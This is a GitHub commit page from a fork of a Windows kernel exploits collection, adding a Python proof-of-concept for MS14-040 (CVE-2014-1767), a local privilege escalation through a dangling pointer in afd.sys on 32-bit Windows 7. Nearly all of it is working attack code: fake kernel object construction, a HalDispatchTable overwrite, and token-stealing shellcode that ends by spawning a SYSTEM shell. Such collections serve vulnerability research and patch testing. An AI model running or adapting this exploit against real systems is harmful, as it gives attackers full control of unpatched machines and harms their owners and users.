forked from SecWiki/windows-kernel-exploits
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
627 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,281 @@ | ||
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer | ||
# Date: 2016-02-05 | ||
# Exploit Author: Rick Larabee | ||
# Vendor Homepage: www.microsoft.com | ||
# Version: Windows 7, 32 bit | ||
# Tested on: Win7 x32 | ||
# afd.sys - 6.1.7600.16385 | ||
# ntdll.dll - 6.1.7600.16385 | ||
# | ||
# CVE : CVE-2014-1767 | ||
# Category: Local Privilege Escalation | ||
# References: | ||
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf | ||
# http://ricklarabee.blogspot.com/ | ||
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/ | ||
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx | ||
# http://www.cvedetails.com/cve/CVE-2014-1767/ | ||
# | ||
# Greetz: PWN4GEPWN1E, SecurityMook | ||
|
||
|
||
|
||
from ctypes import * | ||
import socket, time, os, struct, sys | ||
from ctypes.wintypes import HANDLE, DWORD | ||
|
||
kernel32 = windll.kernel32 | ||
ntdll = windll.ntdll | ||
Psapi = windll.Psapi | ||
|
||
MEMRES = (0x1000 | 0x2000) | ||
PAGEEXE = 0x00000040 | ||
Zerobits = c_int(0) | ||
RegionSize = c_int(0x1000) | ||
written = c_int(0) | ||
|
||
FakeObjSize = 0xA0 | ||
|
||
GENERIC_READ = 0x80000000 | ||
GENERIC_WRITE = 0x40000000 | ||
GENERIC_EXECUTE = 0x20000000 | ||
GENERIC_ALL = 0x10000000 | ||
INVALID_HANDLE_VALUE = -1 | ||
|
||
WSAGetLastError = windll.Ws2_32.WSAGetLastError | ||
WSAGetLastError.argtypes = () | ||
WSAGetLastError.restype = c_int | ||
SOCKET = c_int | ||
WSASocket = windll.Ws2_32.WSASocketA | ||
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) | ||
WSASocket.restype = SOCKET | ||
closesocket = windll.Ws2_32.closesocket | ||
closesocket.argtypes = (SOCKET,) | ||
closesocket.restype = c_int | ||
connect = windll.Ws2_32.connect | ||
connect.argtypes = (SOCKET, c_void_p, c_int) | ||
connect.restype = c_int | ||
|
||
class sockaddr_in(Structure): | ||
_fields_ = [ | ||
("sin_family", c_short), | ||
("sin_port", c_ushort), | ||
("sin_addr", c_ulong), | ||
("sin_zero", c_char * 8), | ||
] | ||
|
||
def findSysBase(drvname=None): | ||
ARRAY_SIZE = 1024 | ||
myarray = c_ulong * ARRAY_SIZE | ||
lpImageBase = myarray() | ||
cb = c_int(1024) | ||
lpcbNeeded = c_long() | ||
drivername_size = c_long() | ||
drivername_size.value = 48 | ||
|
||
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) | ||
for baseaddy in lpImageBase: | ||
drivername = c_char_p("\x00"*drivername_size.value) | ||
if baseaddy: | ||
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, | ||
drivername_size.value) | ||
if drvname: | ||
if drivername.value.lower() == drvname: | ||
print "[+] Retrieving %s info..." % drvname | ||
print "[+] %s base address: %s" % (drvname, hex(baseaddy)) | ||
return baseaddy | ||
else: | ||
if drivername.value.lower().find("krnl") !=-1: | ||
print "[+] Retrieving Kernel info..." | ||
print "[+] Kernel version:", drivername.value | ||
print "[+] Kernel base address: %s" % hex(baseaddy) | ||
return (baseaddy, drivername.value) | ||
return None | ||
|
||
|
||
def CreateBuffer1(): | ||
inbuf1size = 0x30 | ||
virtualAddress = 0x18888888 | ||
length = 0x20000 | ||
|
||
inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a | ||
inbuf1 += struct.pack("L", length) #0x20 | ||
inbuf1 += "\x00" * 0x8 + "\x01" | ||
inbuf1 += "\x00" * (inbuf1size - len(inbuf1)) | ||
|
||
baseadd = c_int(0x1001) | ||
dwStatus = ntdll.NtAllocateVirtualMemory(-1, | ||
byref(baseadd), | ||
0x0, | ||
byref(RegionSize), | ||
MEMRES, | ||
PAGEEXE) | ||
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written)) | ||
|
||
|
||
def CreateBuffer2(): | ||
inbuf2size = 0x10 | ||
addrforbuf2 = 0x0AAAAAAA | ||
|
||
inbuf2 = "\x01\x00\x00\x00" | ||
inbuf2 += struct.pack("L", addrforbuf2) | ||
inbuf2 += "\x00" * (inbuf2size -len(inbuf2)) | ||
|
||
baseadd = c_int(0x2001) | ||
dwStatus = ntdll.NtAllocateVirtualMemory(-1, | ||
byref(baseadd), | ||
0x0, | ||
byref(RegionSize), | ||
MEMRES, | ||
PAGEEXE) | ||
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written)) | ||
|
||
def CreateFakeObject(): | ||
print "[+] Print creating fakeobject" | ||
fakeobject2addr = 0x2200 | ||
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C) | ||
fakeobj2size = len(fakeobject2) | ||
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written)) | ||
|
||
objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00" | ||
"\x00\x00\x00\x00\x00\x00\x00\x00" | ||
"\x01\x00\x00\x00\x01\x00\x00\x00" | ||
"\x00\x00\x00\x00\x16\x00\x08\x00" | ||
"\x00\x00\x00\x00\x00\x00\x00\x00") | ||
|
||
|
||
fakeobject = objhead | ||
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4) | ||
fakeobject += "\x41" * (FakeObjSize - len(fakeobject)) | ||
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written)) | ||
|
||
print "[+] creating socket..." | ||
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) | ||
|
||
if sock == -1: | ||
print "[-] no luck creating socket!" | ||
sys.exit(1) | ||
|
||
print "[+] got sock 0x%x" % sock | ||
|
||
addr = sockaddr_in() | ||
addr.sin_family = socket.AF_INET | ||
addr.sin_port = socket.htons(135) | ||
addr.sin_addr = socket.htonl(0x7f000001) | ||
|
||
connect(sock, byref(addr), sizeof(addr)) | ||
|
||
print "[+] sock connected." | ||
print "\n[+] GO!" | ||
|
||
(krnlbase, kernelver) = findSysBase() | ||
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) | ||
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") | ||
HalDispatchTable -= hKernel | ||
HalDispatchTable += krnlbase | ||
print "[+] HalDispatchTable address:", hex(HalDispatchTable) | ||
halbase = findSysBase("halmacpi.dll") | ||
OS = "7" | ||
if OS == "7": | ||
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7 | ||
_KPROCESS = "\x50" | ||
_TOKEN = "\xf8" | ||
_UPID = "\xb4" | ||
_APLINKS = "\xb8" | ||
|
||
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation) | ||
|
||
IoStatus = c_ulong() | ||
IoStatusBlock = c_ulong() | ||
|
||
CreateBuffer1() | ||
CreateBuffer2() | ||
CreateFakeObject() | ||
|
||
inbuf1 = 0x1000 | ||
inbuf2 = 0x2000 | ||
hWF = HANDLE(0) | ||
FakeWorkerFactoryADDR = 0x2100 | ||
|
||
|
||
# Trigger 1 | ||
# afd!afdTransmitFile | ||
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0) | ||
|
||
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0)) | ||
|
||
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0) | ||
hWFaddr = hWF | ||
print "[+] WorkerFactoryHandle:", hWF.value | ||
hWFaddr = int(addressof(hWF)) | ||
|
||
shellcode_address = 0x00020700 | ||
padding = "\x90"*2 | ||
HalDispatchTable0x4 = HalDispatchTable + 0x4 | ||
|
||
_WFValue = struct.pack("L", hWFaddr) | ||
|
||
sc_pointer = struct.pack("L", shellcode_address+0x4) | ||
restore_ptrs = "\x31\xc0" + \ | ||
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ | ||
"\xa3" + struct.pack("L", HalDispatchTable0x4) | ||
|
||
tokenstealing = "\x52" +\ | ||
"\x53" +\ | ||
"\x33\xc0" +\ | ||
"\x64\x8b\x80\x24\x01\x00\x00" +\ | ||
"\x8b\x40" + _KPROCESS +\ | ||
"\x8b\xc8" +\ | ||
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ | ||
"\x89\x1d\x00\x09\x02\x00" +\ | ||
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ | ||
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ | ||
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ | ||
"\x75\xe8" +\ | ||
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ | ||
"\x8b\xc1" +\ | ||
"\x89\x90" + _TOKEN + "\x00\x00\x00" | ||
|
||
fixobjheaders = "\x33\xC0" +\ | ||
"\x64\x8B\x80\x24\x01\x00\x00" +\ | ||
"\x8B\x40\x50" +\ | ||
"\x8B\x80\xF4\x00\x00\x00" +\ | ||
"\x8B\xD8" +\ | ||
"\x8B\x00" +\ | ||
"\x8B\x0D" + _WFValue +\ | ||
"\x83\xE1\xFC" +\ | ||
"\x03\xC9" +\ | ||
"\x03\xC1" +\ | ||
"\xC7\x00\x00\x00\x00\x00" +\ | ||
"\x83\xC3\x30" +\ | ||
"\x8B\xC3" +\ | ||
"\x8B\x1B" +\ | ||
"\x83\xEB\x01" +\ | ||
"\x89\x18" +\ | ||
"\x5B" +\ | ||
"\x5A" +\ | ||
"\xC2\x10\x00" | ||
|
||
|
||
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders | ||
shellcode_size = len(shellcode) | ||
orig_size = shellcode_size | ||
startPage = c_int(0x00020000) | ||
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) | ||
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written)) | ||
|
||
|
||
### Trigger 2 | ||
## afd!AfdTransmitPackets | ||
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0) | ||
|
||
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False) | ||
|
||
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ; | ||
|
||
inp = c_ulong() | ||
out = c_ulong() | ||
inp = 0x1337 | ||
qip = ntdll.NtQueryIntervalProfile(inp, byref(out)) | ||
print "[*] Spawning a SYSTEM shell..." | ||
os.system("cmd.exe /K cd c:\\windows\\system32") |
Oops, something went wrong.